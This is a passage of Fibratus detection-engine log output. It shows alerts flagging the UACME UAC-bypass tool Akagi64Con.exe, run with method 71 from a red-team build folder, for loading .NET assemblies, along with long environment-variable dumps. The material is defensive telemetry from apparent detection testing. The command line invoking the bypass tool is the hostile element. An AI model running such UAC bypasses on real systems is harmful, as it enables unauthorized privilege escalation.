"C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:08+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1667962 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 4 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.636528 +0100 CET + Params: base_address➜ 7ffb99f40000, checksum➜ 0, default_address➜ 7ffb99f40000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\lc\447e349e90b9f2842d68164e5cba15d9\lc.ni.exe, image_size➜ 81920, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: technique.ref: https://attack.mitre.org/techniques/T1055/, tactic.id: TA0005, tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, rule.name: .NET assembly loaded by unmanaged process, technique.name: Process Injection + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SESSIONNAME:Console SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\Users\nedo\AppData\Local\Temp TMP:C:\Users\nedo\AppData\Local\Temp UCRTVersion:10.0.22621.0 USERDOMAIN:ARCHRABBIT USERDOMAIN_ROAMINGPROFILE:ARCHRABBIT USERNAME:nedo USERPROFILE:C:\Users\nedo UniversalCRTSdkDir:C:\Program Files (x86)\Windows Kits\10\ VCIDEInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\VC\ VCINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\ VCToolsInstallDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\ VCToolsRedistDir:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Redist\MSVC\14.36.32532\ VCToolsVersion:14.36.32532 VS170COMNTOOLS:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\ VSCMD_ARG_HOST_ARCH:x86 VSCMD_ARG_TGT_ARCH:x86 VSCMD_ARG_app_plat:Desktop VSCMD_VER:17.6.4 VSINSTALLDIR:C:\Program Files\Microsoft Visual Studio\2022\Community\ VisualStudioVersion:17.0 WSLENV:WT_SESSION:WT_PROFILE_ID: WT_PROFILE_ID:{61c54bbd-c2c6-5271-96e7-009a87ff44bf} WT_SESSION:8e8ec1a8-04b4-42aa-812e-e904ff39b295 WindowsLibPath:C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0 WindowsSDKLibVersion:10.0.22621.0\ WindowsSDKVersion:10.0.22621.0\ WindowsSdkBinPath:C:\Program Files (x86)\Windows Kits\10\bin\ WindowsSdkDir:C:\Program Files (x86)\Windows Kits\10\ WindowsSdkVerBinPath:C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\ _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols __DOTNET_ADD_32BIT:1 __DOTNET_PREFERRED_BITNESS:32 __VSCMD_PREINIT_PATH:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program Files\Neovim\bin;C:\Users\nedo\AppData\Local\Programs\Python\Launcher\;C:\Scripts\;C:\;C:\Users\nedo\AppData\Local\Microsoft\WindowsApps;C:\Users\nedo\AppData\Local\Programs\oh-my-posh\bin;C:\ProgramData\chocolatey\lib\mingw\tools\install\mingw64\bin;C:\tools\msys64;C:\Users\nedo\.dotnet\tools;C:\Users\nedo\AppData\Roaming\npm;C:\Users\nedo\AppData\Local\Programs\Microsoft VS Code\bin;C:\Users\nedo\go\bin;C:\Users\nedo\AppData\Local\Programs\Zed\bin windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-25T15:18:17+01:00 level=info msg=sending alert: [.NET assembly loaded by unmanaged process]. Text: .NET assembly C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe loaded by unmanaged process C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Event(s): + Seq: 1670008 + Pid: 11932 + Tid: 1776 + Type: LoadImage + CPU: 2 + Name: LoadImage + Category: image + Description: Loads the module into the address space of the calling process + Host: archrabbit + Timestamp: 2025-11-25 15:17:59.8180645 +0100 CET + Params: base_address➜ 7ffb3fda0000, checksum➜ 0, default_address➜ 7ffb3fda0000, file_path➜ C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.S441824ef#\2aca26790c1610a0abca5f2d57ca3845\Microsoft.ServiceHub.Controller.ni.exe, image_size➜ 3649536, is_dll➜ true, is_dotnet➜ true, is_driver➜ false, is_exec➜ false, pid➜ 11932, signature_level➜ UNCHECKED, signature_type➜ NONE + Metadata: tactic.name: Defense Evasion, tactic.ref: https://attack.mitre.org/tactics/TA0005/, technique.id: T1055, technique.name: Process Injection, technique.ref: https://attack.mitre.org/techniques/T1055/, rule.name: .NET assembly loaded by unmanaged process, tactic.id: TA0005 + + Pid: 11932 + Ppid: 17776 + Name: Akagi64Con.exe + Parent name: powershell.exe + Cmdline: "C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71 + Parent cmdline: C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe + Exe: C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe + Cwd: C:\Fibratus\redteam\UACME\Source\Akagi\ + SID: S-1-5-21-2271034452-2606270099-984871569-1001 + Integrity level: MEDIUM + Username: nedo + Domain: ARCHRABBIT + Args: ["C:\Fibratus\redteam\UACME\Source\Akagi\output\x64\ReleaseInternalConsole\Akagi64Con.exe" 71] + Session ID: 1 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\Users\nedo\AppData\Roaming COMPUTERNAME:ARCHRABBIT CONDA_PROMPT_MODIFIER:False ChocolateyInstall:C:\ProgramData\chocolatey ChocolateyLastPathUpdate:133259896742725622 ChocolateyToolsLocation:C:\tools ComSpec:C:\WINDOWS\system32\cmd.exe CommandPromptType:Native CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DevEnvDir:C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\ DriverData:C:\Windows\System32\Drivers\DriverData EXTERNAL_INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt ExtensionSdkDir:C:\Program Files (x86)\Microsoft SDKs\Windows Kits\10\ExtensionSDKs Framework40Version:v4.0 FrameworkDir:C:\Windows\Microsoft.NET\Framework\ FrameworkDir32:C:\Windows\Microsoft.NET\Framework\ FrameworkVersion:v4.0.30319 FrameworkVersion32:v4.0.30319 GOPATH:C:\Users\nedo\go HOMEDRIVE:C: HOMEPATH:\Users\nedo INCLUDE:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\include;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Auxiliary\VS\include;C:\Program Files (x86)\Windows Kits\10\include\10.0.22621.0\ucrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\um;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\shared;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\winrt;C:\Program Files (x86)\Windows Kits\10\\include\10.0.22621.0\\cppwinrt JAVA_HOME:C:\Program Files\Jdk11 LIB:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files (x86)\Windows Kits\10\lib\10.0.22621.0\ucrt\x86;C:\Program Files (x86)\Windows Kits\10\\lib\10.0.22621.0\\um\x86 LIBPATH:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\lib\x86\store\references;C:\Program Files (x86)\Windows Kits\10\UnionMetadata\10.0.22621.0;C:\Program Files (x86)\Windows Kits\10\References\10.0.22621.0;C:\Windows\Microsoft.NET\Framework\v4.0.30319 LOCALAPPDATA:C:\Users\nedo\AppData\Local LOGONSERVER:\\ARCHRABBIT NUMBER_OF_PROCESSORS:8 OS:Windows_NT OneDrive:C:\Users\nedo\OneDrive PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY;.CPL POSH_GIT_ENABLED:False POSH_THEME:C:\Posh-Themes\spaceship.json POSH_THEMES_PATH:C:\Users\nedo\AppData\Local\Programs\oh-my-posh\themes POWERLINE_COMMAND:oh-my-posh PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PROMPT:$P$G PSModulePath:C:\Users\nedo\Documents\WindowsPowerShell\Modules;C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\Microsoft Visual Studio\2022\Community\VC\Tools\MSVC\14.36.32532\bin\HostX86\x86;C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\\x86;C:\Program Files (x86)\Windows Kits\10\bin\\x86;C:\Program Files\Microsoft Visual Studio\2022\Community\\MSBuild\Current\Bin\amd64;C:\Windows\Microsoft.NET\Framework\v4.0.30319;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\IDE\;C:\Program Files\Microsoft Visual Studio\2022\Community\Common7\Tools\;C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\Program 